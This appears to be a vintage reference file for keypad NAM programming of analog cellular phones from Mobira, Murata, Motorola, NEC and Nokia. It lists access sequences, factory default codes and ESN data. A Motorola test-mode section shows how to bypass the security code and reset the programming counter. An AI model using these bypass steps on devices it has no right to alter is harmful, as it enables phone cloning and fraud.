MOBIRA 400 SERIES (Trans) & 500 SERIES (Port)
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MOBIRA
Programmer: Handset
ESN Prefix DEC: 156
HEX: 9C
ESN, S/N Match Required: No
Handset Programmable: Yes, IF 5 digit Security Code is known
Number of Channels: 666 or 832
Programming Sequence: Verify if 400 series phone has dual
NAM by the commands: MENU, FCN, NEXT, OK, FCN,
NEXT, OK 5, OK
Phone will display: TPA-4 for single NAM or TPA-4D for dual
Press FCN, CLR
Programming
Power On
Press MENU, FCN, NEXT, OK, FCN, NEXT, OK
An asterisk (*) should appear in display (if not,
Press FCN, CLR, and repeat above listed keys)
Enter Access Code *21057#.XXXXX.OK
XXXXX = 12345 (from factory) or currect code
Verify display "HOME SYS" for single NAM
phones or "SELECT USED NAM" for dual NAM
Use NEXT key to increment or FCN.NEXT to
decrement thru parameters
Press OK key to view current value of parameter
Store parameter value by pressing OK
Wait for value to disappear and parameter name to
reappear
To program 2nd number in Dual NAM phone,
return to "SELECT USED NAM"
Enable 2nd NAM by pressing OK
Program thru Group ID parameter for 2nd NAM
To write NAM information, press FCN.CLR,Power Off,
Power On
# of Digits
NAM Selection: None Primary/Optional
2nd NAM: None Disable/Enable
System ID: 5 XXXXX
MIN Option: 1 0 or 1
Local Use: 1 0 or 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 XX
Initial Paging Channel: 4 XXXX
Access Overload: 2 XX
Preferred System: -- A or B
Group ID: 2 XX
Security Code: 5 XXXXX
Mfg Control Date: Preset at Factory
Install Date: 6 XX/XX/XX
Horn Alert: N/A
New Unlock Code: Menu + FCN + NEXT + OK + NEXT + OK + NEXT + OK
(Continue pressing NEXT + OK until UNLOCK CODE
appears)
Upon pressing OK, SECURITY ID will appear. Enter
5 digit security code (NAM) and current unlock code
will appear.
Enter new 4 digit unlock code.
System Select: FCN + 1 then NEXT to change or OK to accept.
The selection will appear as follows:
BA or AB
Preferred only
Non-Preferred Only
-------------------------------------------------------------------------------
MURATA CT50 & MCT 200 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: MURATA
Programmer: Keypad
ESN Prefix DEC: 144
HEX: 90
ESN, S/N Match Required: No
Stamped Model Number: CT50 or MCT 200
Number of Channels: 832
Programming Sequence: Power Off
Power On while holding
Enter Program Code 314159
Software version will display
Press STO to advance to next step (System ID)
Repeatedly press 0 ("Clr", "Set" or "Pass"
will display)
Repeatedly press 0 until "Set" appears
Press STO + Enter System ID (digit+#+digit+#+digit+
# etc..)
# of Digits
System ID: 5 XXXXX + #
Mobile Number: 10 XXX-XXX-XXXX + #
Security Code: 6 XXXXXX + #
New Unlock Code: FCN + 53 + 6 digit Security Code +
1 + STO + New 3 digit Unlock Code
System Select: FCN + 12 + 0 + 0 + 0 + 0 etc.
(one of the following will display)
Standard AB or BA
Home
A Only
B Only
Press STO to enter selection
===============================================================================
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
-------------------------------------------------------------------------------
MOTOROLA HANDSET PROGRAMMING
-------------------------------------------------------------------------------
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
===============================================================================
THE SACRED THREE STEPS FOR PROGRAMMING MOTOROLA PHONES
Step 1: Determine programming sequence from the following list.
~~~~~~~ This sequence will allow access to programming mode.
Handset or Model Programming Sellar
Portable Type Number Sequence Code
-------------------------------------------------------------------------------
SCN 2004 4500L 3 A
SCN 2005 4500XL 3 A
SCN 2007 3000 6 B
SCN 2022 6
SCN 2023 6800XL 6 A
SCN 2033 5
SCN 2034 6
SCN 2042 Credit Card N/A
SCN 2043 MC200,MODAR 4 4 C
SCN 2056 1900,2200,2900
SCN 2080 BLAUPUNKT 6
SCN 2081 5
SCN 2083 6800XL 6 A
SCN 2084 2
SCN 2085 6
SCN 2090 MC500 6 C
SCN 2094 TOYOTA 6
SCN 2104 AUDI 6
SCN 2115 6
SCN 2119 4500XL 3
SCN 2120 5000 6 B
SCN 2124 2600,AC320 6 B,E
SCN 2126 4
SCN 2127 4
SCN 2128 4
SCN 2129 DYNA-GRAY 4
SCN 2133 6000X 1
SCN 2134 6
SCN 2144 INFINITI 5
SCN 2165 4
SCN 2166 4
SCN 2168 4
SCN 2174 3
SCN 2175 4
SCN 2180 4
SCN 2194 MC300 4 C
SCN 2195 6
SCN 2200 PULSAR 4
SCN 2201 PULSAR 4
SCN 2202 PULSAR 4
SCN 2204 MC500 4
SCN 2208 SEARS 4
SCN 2209 MONTGOMERYWORDS 4
SCN 2210 3
SCN 2222 ACURA 6
SCN 2223 ACURA FS 6
SCN 2238 GM 6
SCN 2251 DYNA-GRAY 6
SCN 2252 4
SCN 2259 TRACER PULSAR 4
SCN 2260 PCC 4
SCN 2278 INFINITI 5
SCN 2282 PIONEER 6
SCN 2283 PIONEER 6
SCN 2295 6
SCN 2301 LEXUS 6
SCN 2329 6
SCN 2330 AC 250 6 E
SLN 2020 6000X 1 A
SLN 2121 1
SLN 2025 2000X 4 B
T180B NAUTILUS-bk 4
T180W NAUTILUS-wt 4
TLN 2659 6000X 1 B
TLN 2674 4000C/5000 2 B/C
TLN 2724 1
TLN 2726 2
TLN 2733 6000 2 B
TLN 2734 2
TLN 2777 2000X 4 B
TLN 2867 1
TLN 2879 2
UD71419 ROLLS ROYCE 6
1632570 GM 2
1644364 GM 2
1648752 GM 2
1648764 GM 2
4410351C4 A AUDI 6
750 2 C
8000BC 2 B
8000BCX 1 B
8000H 2
8500 1 A
869872106 BLAUPUNKT 6
9000/ULTRA CLASSIC 6 B/C
950/950X 2 B
9800XL 6 A
PERSONAL (w/ menu button) 6
PERSONAL (w/o menu) 1
SELLER CODES
~~~~~~~~~~~~
A: Motorola Direct
B: US West Cellular
C: McCaw (Cell One)
D: LA Cellular
E: Ameritech
Step 2: Once the phone model and sequence number are identified, determine
~~~~~~~ the program access sequence from this list.
PROGRAM ACCESS SEQUENCES
Sequence
Number
1 FCN + Security Code + Security Code + RCL
2 STO + # + Security Code + Security Code + RCL
3 CTL + 0 + Security Code + Security Code + RCL
4 CTL + 0 + Security Code + Security Code + (*)
5 FCN + 0 + Security Code + Security Code + MEM
6 FCN + 0 + Security Code + Security Code + RCL
(*) CTL - Control button is either a button on keypad or the VOLUME
button on the left side of the handset
NOTE: Factory Programmed Security Code is 000000
Step 3: PROGRAMMING SEQUENCE
~~~~~~~
Power On
Enter program access sequence with 10 seconds
Prompt 01 is displayed
Repeatedly press * to increment (contents of locations
are displayed)
Press SEND to write NAM information
(press # prior to SEND for 2nd Number)
(to enable 2nd number, bit 5 step 10 must be
enabled and phone must be software equipped
for 2nd number)
STEP # of digits
1 System ID 5 XXXXX
2 Area Code 3 XXX
3 Mobile Number 7 XXX-XXXX
4 Station Class 2 XX
5 Access Overload 2 XX
6 Group ID 2 XX
7 Security Code 6 XXXXXX
8 Unlock Code 3 XXX
9 Initial Paging Channel 4 0333 or 0334
10 Program Opt(1) 6 XXXXXX
11 Program Opt(2) 3 XXX
Program Options
Step 10 Step 11
~~~~~~~ ~~~~~~~
Disable int speaker Long tone DTMF
Local Use Handset Speaker
Enable (carry phone only)
MIN Mark Eight Hour Timeout
in Convertible
Auto Recall
Second phone #
(must have software)
Diversity
TEST MODE
~~~~~~~~~ Motorola phones can be keypad programmed three times only and you
also must know the security code. The manual test mode will get you around
both obstacles. A mobile test adapter is needed to induce test mode. Manual
test mode will work on "F" series or newer only. (F,G,H,I,J etc..)
Model# F08G6789 is a "G" series
~
1. Turn phone Power Off
2. Mobiles/Transportable models- instal a jumper between pins 17 & 21
on the data cable connector (RS232).
Portable models- jumper pin #6 to Ground (Ground is the large,
center contact on back of phone with battery removed)
3. Turn phone Power On
4. Press # button
5. Press 55# (to view NAM contents)
6. Repeatedly press * to step through NAM contents
7. Read and note 6 digit security code
8. Press * repeatedly until tick mark (') shows in display
9. Power OFF to exit manual test mode
Resetting three times counter:
1. Use jumper to place phone in test mode and Power On
2. Press #
3. Press 32 # (wait until tick mark (') shows in display)
4. Power Off to exit test mode
Reading ESN:
1. Place phone in test mode and Power On
2. Press #
3. Press 38#
4. Repeatedly press * to read entire ESN (00,01,02,03) 2 digits at
a time
5. Press * until tick mark (') shows in display
6. Power phone off to exit manual test mode.
System Select Motorola Phones
MODEL # KEYPAD FUNCTION
1100 CONTROL + * + * + * + etc.. until following appears
1500 STD AB or STD BA"
1800 SCAN BA or SCAN AB
2000X SCAN A
MC100 SCAN B
MC200 Press STO to enter selection
TT2
MODEL # KEYPAD FUNCTION
1900 RCL + * + * + * + etc.. until following appears
2200 STD AB or STD BA
4500XL SCAN BA or SCAN AB
TT22 HOME
MC300 SCAN A
Carry Phone SCAN B
Press # to enter selection
MODEL # KEYPAD FUNCTION
750 RCL + * + * + * + etc.. until following appears
750 "L" series STD AB or STD BA
950 SCAN BA or SCAN AB
950X HOME
2600 SCAN A
3000 SCAN B
5000(ver2)
8000BCX
CLASSIC
MC500
TT3
TT5
ULTRA CLASSIC
MODEL # KEYPAD FUNCTION
PERSONAL TELEPHONE RCL + * + * + * + etc.. until following appears
4000C STD AB or STD BA
5000 SCAN BA or SCAN AB
6000 HOME
6000X SCAN A
6000XL SCAN B
8000BC Enter SYS ID
8500 Press STO to enter selection
2000
2000R NOT APPLICABLE
4000X
4500
MODEL # KEYPAD FUNCTION
6800XL MENU + 2 + 3 + STO + (* or scroll forward or
backward through to following choices)
STD AB or STD BA
SCAN BA or SCAN AB
HOME
SCAN A
SCAN B
PREFERRED SIDs (up to 5 SIDs, press STO to enter,
CLR to erase)
Press STO to enter selection
Press END to exit w/ no changes
MODEL # KEYPAD FUNCTION
PERSONAL TELEPHONE FCN + MENU + 2 + 3 + STO or RCL + * (< or > to scroll)
STD AB or STD BA
SCAN BA or SCAN AB
HOME
SCAN A
SCAN B
ENTER SID (5 SIDs max)
Press STO to enter selection
HORN ALERT - MOTOROLA PHONES
MC100
1100
2000 N/A
2000R
4500
MC200 Control + 4 (Control button located on left side)
MC300
1500
1800
2000
4500XL
MC500 FCN + 4
1900
2200
2600
3000
6800XL
5000(ver2)
TT5
4000C AUX
4000X
5000
6000X
6000XL
6000 MUTE
New Unlock Code for Motorola's
MC100/200/300 N/A
1100/1500/1800
1900/2000/2000R
2000X/2200/2600
4000X/4500
TT2/TT22
Carry Phone
PERSONAL TELEPHONE (w/o MENU)
3000 FCN + 0 + 6 digit security code + new 3 digit unlock
code + RCL
750 "L" series STO + # + 6 digit security code + new 3 digit unlock
950X code + STO
4000C
5000/6000
5000(ver2) FCN + 0 + 6 digit security code + new 3 digit unlock
code + STO
4500XL CONTROL + 0 + 6 digit security code + new 3 digit
unlock code + #
6000X FCN + 6 digit security code + new 3 digit unlock
8500 code + STO
MC500 FCN + 0 + 6 digit security code + new 3 digit unlock
TT5 code + STO
9000/Ultra Classic
6800XL MENU + 5 + 4 + STO + 6 digit security code + new
PERSONAL TELEPHONE 3 digit unlock code.
(w/o menu)
-------------------------------------------------------------------------------
PROGRAMMER INSTRUCTIONS MOTOROLA's
-------------------------------------------------------------------------------
MODELS
1100 1500 1500A 1800 2000
2000X 2000XSE 2000XT 3000 4000CMC200
5000MC400 6000XG MC500 MC100
NAM Type: EEPROM
Manufacturer: Motorola
Programmer: Motorola 1801-CELPROG or Handset
ESN Prefix DEC: 130
HEX: 82
ESN, S/N Match Required: No
Handset Programmable: Yes (small style transciever and known
security code/manual test adpater)
Number of Channels: 666 (smaller transcievers) else 832
Phone Number: XXX-XXX-XXXX
Security Code: XXXXXX
Lock Code: XXX
System ID: XXXXX
Preferred System: A or B
Access Overload: XX
Group ID: XX
MIN Option: Enabled
Local Use: Enabled
Initial Paging Channel: 333 or 334
Diversity: Disabled (Enabled if equiped)
Abbreviated Memory: Enabled
End-to-End signaling: Enabled
Horn Alert: Enabled
Standard Parameters
Air Time Counter: Enabled
IMTS Combination: Disabled
Service Levels: Enabled
Service Level: 4
Select System Program: Enabled
Auto Recall: Enabled
Lock Mode: Enabled
Handsfree Auto Mute: Disabled
Scrambler Opt.: Disabled
Test Mobile: disabled
Station Class: XX (00-666 ch or 08-832 ch)
Single System Scan: Disabled
Ext (n-1) Field: disabled
First Channel System A: 333
First Channel System B: 334
Number of Dedicated
Channels: 21
Option Bits
Hex Address B7 B0
1A 0 0 0 0 0 0 0 0
1B 0 0 0 0 0 0 0 0
1C 0 0 0 0 1 0 0 0
Hex Address 1B - B0 Portable Scan
0=Portable, 1=Mobile
B3 Eight HR Timeout
0=Enable, 1=Disable
B5 Long Tone DTMF
0=Disable, 1=Enable
Hex Address 1C - B3 Disable Handset Speaker - Handsfree Applications
-------------------------------------------------------------------------------
MOTOROLA TT2, TT3, TT5, TT22
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Motorola
Programmer: Motorola 1801-CELPROG or Handset
ESN Prefix DEC: 130
HEX: 82
ESN, S/N Match Required: No
Handset Programmable: Yes (small transciever & known security code)
Number of Channels: 666 or 832
Phone Number: XXX-XXX-XXXX
Security Code: XXXXXX
Lock Code: XXX
System ID: XXXXX
Preferred System: A or B
Access Overload: XX
Group ID: XX
MIN Option: Enabled
Local Use: Enabled
Initial Paging Channel: 333 or 334
Diversity: Disabled (Enabled if Equipped)
Abbreviated Memory: Enabled
End-to-End DTMF: Enabled
Horn Alert: Enabled
standard parameters
Air Time Counter: Enabled
IMTS Combination: Disabled (Enabled if Equipped)
Service Levels: Enabled
Service Level: 4
Select System Program: Enabled
Auto Recall: Enabled
Lock Mode: Enabled
Handsfree Auto Mute: Disabled
Scrambler Opt: Disabled
Test Mobile: disabled
Station Class: XX(00-666 ch or 08-832 ch)
Single System Scan: Disabled
Ext(n-1) Field: Disabled
First Channel System A: 333
First Channel System B: 334
Number of Dedicated
Channels: 21
Option Bits:
Hex Address B7 B0
1A 0 0 0 0 0 0 0 0
1B 0 0 1 0 0 0 0 1
1C 0 0 0 0 0 0 0 0
Hex Address 1B - B0 Portable Scan
0=Portable, 1=Mobile
B3 Eight HR Timeout
0=Enable, 1=Disable
B4 Handset Speaker
0=Disabled, 1=Enabled
B5 Long Tone DTMF
0=Disabled, 1=Enabled
Hex Address 1C - B3 Call Processing Speaker
1=Disable, 0=Enable
-------------------------------------------------------------------------------
NEC 1000, 3500, 5000 and 7000
-------------------------------------------------------------------------------
NAM Type: PROM (Open collector)
Manufacturer: NEC
Programmer: Curtis or Bytek
EN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Programmable Handset: No
Available Channels: 666
Phone Number Format: XXX-XXX-XXXX
Lock Code (1000) or
Security Code: XXX
System ID Format: XXXXX
Horn Alert Option: 1
Handsfree Option: 0
End-to-End Signalling: 1
Repertory Option: 1
Group ID Format: XX
Access Overload Class: XX
Station Class: 0000 (Binary)
Local Use Option: 1
MIN Option: 1
Initial Paging Channel: 333 or 334
Preferred System: 0 (B) or 1 (A)
-------------------------------------------------------------------------------
NEC 3700, 4500 & 4600
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NEC
Programmer: Handset with NEC adaptor
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Hanset Programmable: Yes with NEC adaptor
Number of Channels: NEC 3700: 832
NEC 4500: 666
NEC 4600: 832
Programming Sequence: Insert Programming adaptor in series
with data cable at transceiver
Attach load to antenna port
Power On
Enter test mode: RCL + # + 01
Enter programming mode: RCL + # + 71
Press # to enter data and increment
To exit programming mode hold CLR
To exit test mode: RCL + # + 02
# of Digits
Mobile Number: 10 XXX-XXX-XXXX
Lock Code: 4 XXXX
System ID: 5 XXXXX
Group ID: 2 XX
Initial Paging Channels: 3 333 or 334
Preferred System: 1 0 (B) or 1 ( A)
Access Overload: 2 XX
MIN Option: 1 1
(If phone has dual software (579D/IC505/VS.1) in socket IC505, then follow
NEC 4700 Dual NAM instructions)
Horn Alert: FCN + 3
New Unlock Code: NAM
System Select: FCN + 5 + 5 + 5 etc.. (until following appears)
Standard AB or BA
H only
A only
B only
-------------------------------------------------------------------------------
NEC 3800 & 4800
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NEC
Programmer: Handset with NEC Program Adaptor
(Part #41-2019 and Conversion Cable (Part #19-0157)
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Connect programming adaptor
and cable to transceiver
Power On with PWR button
Enter test mode: RCL + # + 0 + 1
Select NAM number with the following sequence
3800 (0 or 1)
4800 (0, 1, 2 or 3)
Press RCL + # + 7 + 6 + X + #
X=0 NAM 1
X=1 NAM 2
X=2 NAM 3-4800 only
X=3 NAM 4-4800 only
Enter programming mode: RCL + # + 7 + 1
Press # to enter data and increment
To exit programming mode hold CLR
To exit test mode: RCL + # + 0 + 2
# of Digits
Mobile of Number: 10 XXX-XXX-XXXX + #
Lock Code: 4 XXXX + #
System ID: 5 XXXXX + #
Group ID: 2 XX + #
Initial Paging Channel: 3 333 or 334 + #
Preferred System: 1 0 (B) or 1(A) + #
MIN Option: 1 1 + #
Local Use: 1 1 + #
Emergency Number: 3 911 + #
Press CLR to exit programming mode
Press RCL + # + 02 to exit test mode
Display ESN: Insert Adaptor
Enter test mode: RCL + # + 01
Press RCL + # + 24 (ESN will display)
Press RCL + # + 02 (to exit test mode)
Horn Alert(3800): FCN + 3 (Press 3 again to toggle) +
turn ignition off
Horn Alert(4800): FCN + 81 + (+ or - key to toggle) + STO
+ turn ignition off
New Unlock Code: NAM
System Select(3800): FCN + 5 + 5 + 5 + etc.. (following will appear)
Standard AB or BA
Home Only
System A only
System B only
Press CLR to exit
System Select(4800): FCN + 5 + 3 + (+ or - to scroll choices)
+ STO + CLR
Choices Include: Standard AB or BA
Home only
A only
B only
-------------------------------------------------------------------------------
NEC 4700
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NEC
Programmer: Handset with NEC program adaptor
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Handset Programmable: Yes, with NEC adaptor
Number of Channels: 832
Programming Sequence: Insert Programming adaptor in series
with cable at transceiver
Attach load to antenna port
Power On
Enter test mode: RCL + # + 01
Press RCL + # + 760 + # (NAM 1)
or
Press RCL + # + 761 + # (NAM 2)
Select NAM 1 or 2 only if dual NAM equipped
Enter programming mode: RCL + # + 71
Press # to enter data and increment
To exit programming mode hold CLR
To exit test mode: RCL + # + 02
# of digits
Mobile Number: 10 XXX-XXX-XXXX + #
Lock code: 4 XXXX + #
System ID: 5 XXXXX + #
Group ID: 2 XX + #
Initial Paging Channel: 3 333 or 334 + #
Preferred System: 1 0 (B) or 1 (A) + #
MIN Option: 1 1 + #
Local Use: 1 1 + #
(If phone has dual name software (579D/IC505/V2.1) in socket IC505,
then follow dual NAM instructions)
Display ESN: Insert Program adaptor
Enter Test mode: RCL + # + 01
Press RCL + # + 24 (ESN will display)
Press RCL + # + 02 (To exit Test mode)
Horn alert: FCN + 3 + Turn Ignition Off
New Unlock Code: NAM (Optional temporary lock is also available)
System Select: FCN + 5 + 5 + 5 + etc.. (following will appear)
Standard AB or BA
Home Only
System A only
System B only
Press CLR to exit
-------------------------------------------------------------------------------
NEC 9000 & 9100 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: Handset
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes, provided programming adaptor
and charger are available)
Number of Channels: 832
Programming Sequence: Remove portable battery
Replace with fully charged NEC programming adaptor
Power On
Place protable in charger
(9100 only) Select on of multiple NAMs with
the sequence: FCN + STO + 3 + 3 (to toggle)
Enter test mode: RCL + # + 01
If error appears, press RCL + # + 02 to clear
Enter programming mode: RCL + # + 71
Phone number will display
Press # to enter data and increment
To exit programming mode hold CLR
To exit test mode: RCL + # + 02
# of Digits
Mobile Number: 10 XXX-XXX-XXXX
Lock Code: 4 XXXX
System ID: 5 XXXXX
Preferred System: 1 0 (B) or 1 (A)
Access Overload: 2 XX
Initial Paging Channel: 3 XXX
MIN Option: 1 1
New Unlock code: NAM
(An optional tempory lock is also available on this mode)
System Select: FCN + 5 + 5 + 5 + etc..
(Until one of the following appears)
Standard AB or BA
Home Only
Sys A only
Sys B only
Press CLR to exit.
-------------------------------------------------------------------------------
NEC P200 & P300 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NEC
Programmer: Keypad with adaptor (Part #41-2019)
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Number of Channels: 832
Programming Sequence: Insert Program adaptor into bottom of
protable (before serial number power on 135-839601)
Select NAM Number: RCL + # + 76 + NAM Number (0-3) + #
Programming NAMs in sequential order only
Enter Program Mode: RCL + # + 71
Enter information for each step, then press # to
store parameters
Press and hold CLR to program data and exit program
mode
Press RCL + # + 02 (to exit Test mode)
# of digits
Mobile Number: 10 XXX-XXX-XXXX + #
Lock Code: 4 XXXX + #
System ID: 5 XXXXX + #
Group ID: 2 XX + #
Initial Paging Channel: 4 0333 or 0334 + #
System Select: 1 1(A) or 0(B) + #
Access Overload: 2 XX + #
MIN Option: 1 1 (Enable) + #
Local Use: 1 1 (Enable) + #
Emergency Number: 3 XXX + #
Press CLR to exit
Press RCL + # + 02 (to exit test mode)
Remove Program Adaptor
New Unlock Code: NAM
System Select(P200): FCN + 5 + 5 + 5 + ect.. (following will appear)
Standard AB or BA
Home Only
Sys A Only
Sys B Only
System Select(P300): FCN + 53 + #(or Vol Up/Down to scroll options)
Options Include: AB or BA
Home
A Only
B Only
Press STO to enter selection, CLR to Exit.
-------------------------------------------------------------------------------
NEC P400 & P600 Portables
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NEC
Programmer: Keypad with adaptor (Part #NECAM 150-0268) and
conversion cable (Part #NECAM 204-0324)
ESN Prefix DEC: 135
HEX: 87
ESN, S/N Match Required: Yes
Stamped Model Number: P400 or P600
Number of Channels: 832
Program Sequence: Connect program adaptor to conversion cable
Plug conversion cable into portable
Power On and way for phone initialize.
Enter # + 71 to enter test mode
Select NAM Number: RCL + # + 71 + # (For NAM
#1) or RCL + # + 71 + NAM Number (2-4) + #
(P400 has 2 NAMs and P600 has 4 NAMs)
Program NAMs in sequential order only
Enter information for each step, then press # to
store parameter.
Press and Hold CLR to program data and exit program
mode.
Press RCL + # + 02 to return to standby.
# of Digits
Mobile Number: 10 XXX-XXX-XXXX + #
Lock Code: 4 XXXX + #
System ID: 5 XXXXX + #
Group ID: 2 XX + #
Initial Paging Channel: 4 0333 or 0334 + #
System Select: 1 1(A) or 0(B) + #
Access Overload: 2 XX + #
MIN Option: 1 1 (Enable) + #
Local Use: 1 1 (Enable) + #
Emergency Number: 3 XXX + #
FCN Stat: 1 0 + #
Press CLR to exit
Press RCL + # + 02 (to exit test mode)
Remove program adaptor
New Unlock Code: NAM
Program Permanent Memory: Connect Adaptor and covnersion cable to
portable telephone. Memory locatoins 70 through 99 can be programmed
with non-erasable numbers.
With cable and adaptor in place, Power phone "On". Enter telephone
number + STO + memory location(70-99)
System Select: FCN + 54 + RCL + RCL + RCL (to scroll choices)
Option Include: AB or BA, Home, A Only, B Only
Press CLR to exit.
-------------------------------------------------------------------------------
NOKIA 101 & 1000 Portables
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA
Programmer: Keypad (Provided current security code is known-if
not, service adaptor is necessary to access program
parameters)
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes
Stamped Model Number: 101: THA - 6
1000: THA - 62
Number of Channels: 832
Programming Sequence: Power On
Enter Program Mode: * + 3001 + # + XXXXX + STO + 0
XXXXX = 12345 (new phones)
XXXXX = current security code
"Store Not Done" will display
If "Not Allowed" displays, verify that the correct
code has been entered.
This phone programs in 5 steps with multiple
parameters into each step.
The # and * keys are used to separate NAM
parameters within the step
To verify paramteres, Press RCL + Step Number(01-05)
Once programming is complete, power phone Off
then On to exit program mode.
Step # of digits
01 Emergency Number, #, Emergency 911#*911#0*1234 + STO
Number, #, Language (0=English, + 01 + STO + CLR +
1=French, 2=Spanish). * and Unlock Code
02 Mobile Number 1 (10 digits) XXX-XXX-XXXX + STO + -2 + CLR
03 SID, *, MIN Option, *, Local Use, XX*1*1*XXX*XX*XX + STO + 03
*, Initial Page Channel, *, + STO + CLR
Access Overload, *, Group ID (NAM1)
04 Mobile Number 2 (Ten digits) XXX-XXX-XXXX + STO + 04 +
STO + CLR
05 SID, *, MIN Option, *, Local Use, XX*1*1*XXX*XX*XX + STO + 03
*, Initial Page Channel, *, + STO + CLR
Access Overload, *, Group ID (NAM1)
Power Phone Off and On to complete programming
New Unlock Code: NAM
System Select: SEL + 1 + 1 + 1 etc (to scroll choices)
Home, A, B, Both AB and BA
-------------------------------------------------------------------------------
NOKIA-MOBIRA LX-11 & M-11
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: Handset or LX-11 Service Handset
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes, either a match or subtract 737856
from serial number.
Handset programmable: Yes, security code must be known
Number of Channels: 832
Programming Sequence: Power On
Enter Programming Mode: * + 3001 + # + XXXXX
+ SEL + 9 + END
XXXXX=12345 (from factory) or
XXXXX=Current Security Code
"IdEnt IF InFO Pri" will display
Press END key to step through parameters
To toggle parameters, press SND
Once Last parameter is entered and END key is
pressed, the information is stored in the NAM
Programming Sequence for 2nd NAM:
Enter Programming Mode described above
"IdEnt ID InFO Pri" will display
Press SND to toggle to second NAM
"IdEnt ID InFO OPT" will display
Press END, "OPt InFO EnABLEd" appears
Press END key to step through parameters and
program as outlined above.
# of digits
System ID: 5 XXXXX
Access Method (MIN Opt): 1 1
Local Use: 1 1
Phone Number: 10 XXX-XXX-XXXX
Station Class: 2 08
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Preferred System: 1 A or B (SND to toggle)
Group ID: 2 XX
Security Code: 4 XXXX
Manufacturer Date: Can't be changed
Installation Date: 6 mm/dd/yy
"Prog Done" will appear
Horn Alert (Option): SEL + 2 + Turn ignition Off
New Unlock Code: SEL + 5 + (5 digit security code) + SEL
(Unlock Code Displays) + New 4 digit Unlock Code
+ SEL
Select System: SEL + 1 + 1 + 1 (To Scroll Choices)
Both Standard AB or BA
H Home (A only or B only)
Non H Non-Home (A only or B only)
H Sid Home Only
-------------------------------------------------------------------------------
NOKIA MOBIRA M-10
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA MOBIRA
Pogrammer: Phone Handset or Service Handset
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes, either a match or subtract 737856
from serial number for ESN.
Handset Programmable: Yes, previded lock code is known
Number of Channels: 832
Programming Sequence: Power On
Enter Programming mode: * 17 * 3001 * XXXX *
XXXX=1234 (new phones) else
XXXX=current unlock code
Once last item is entered then phone is returned to
normal operations SEL button increments steps.
# of Digits
System ID: 5 XXXXX
MIN Option: 1 1
Local Use: 1 1
Phone Number: 10 XXX-XXX-XXXX
Station Class: 2 08
Initial Paging Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Unlock Code: 4 XXXX
Horn Alert: SEL + 2
New Unlock Code: NAM
System Select: SEL + 1 + 1 + 1 etc... (following will appear)
A A only
B B only
S AB or BA
H Home
Press CLR to exit
-------------------------------------------------------------------------------
NOKIA-MOBIRA P-30 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA-MOBIRA
Programmer: Keypad or Service adaptor
ESN Prefix DEC: 165
HEX: A5
ESN, S/N Match Required: Yes
Handset Programmable: Yes, provided security code is known.
Number of Channels: 832
Programming Sequence: Power on
Enter Access Code
* + 17 + * + 2001 + * + XXXXX + *
XXXXX=12345 from factory else
XXXXX=current security code
HO-Id should appear in display
Press SEL to enter data and increment
Phone automatically writes NAM information
upon completion of final step
# of digits
System ID: 5 XXXXX
MIN Option: 1 1
Local Use: 1 1
Mobile Number: 10 XXX-XXX-XXXX
Station Class: 2 10
Initial Page Channel: 3 333 or 334
Access Overload: 2 XX
Group ID: 2 XX
Security Code: 5 XXXXX
New Unlock Code: SEL + 75 + 5 digit security code (NAM) + CLR
new 4 digit unlock code
Sytstem Select: SEL + 1 + 1 + 1 + etc.. (following will appear)
S Standard AB or BA
A A only
B B Only
H Home
Display will clear in two seconds.
-------------------------------------------------------------------------------
NOKIA MOBIRA P4000 & PT-612 Portable
-------------------------------------------------------------------------------
NAM Type: EEPROM
Manufacturer: NOKIA MOBIRA
Programmer: Keypad (provided current security code is known.
If not, service adaptor is necessary to access
program parameters)
ESN Prefix DEC: 165
HEX: A5
Number of Channels: 832
Programming Sequence: Power On
Enter Program Mode: * + 3001 + # + XXXXX + SEL + 9 + END
XXXXX=12345 (new phones) else
XXXXX=current security code
"IDENTIF INFO PRI" will display (Press SND to
toggle "on' if necessary)
Press END to step through parameters
To toggle parameters, press SND
Once programming is complete, power phone Off
then ON to exit program mode
# of digits
System ID: 5 XXXXX + END
Access Method (MIN Opt): 1 1 + END
Local Use: 1 1 + END
Mobile Number: 10 XXX-XXX-XXXX + END
Station Class: 2 10 + END
Initial Paging Channel: 3 333 or 334 + END
Preferred System: 1 (A or B) + END (SND to toggle)
Group ID: 2 XX + END
Security Code: 5 XXXXX+ END
Serial Number: Press END
Manufacturer Date: Press END
Installation Date: 6 mm/dd/yy + END
Programming Second NAM: With "IDENTIF INFO PRI" on display,
press SND to toggle to "IDENTIF IBFO OPT"
Enter information for steps 1-13 for the 2nd NAM
Power Phone OFF and ON to complete the program
process
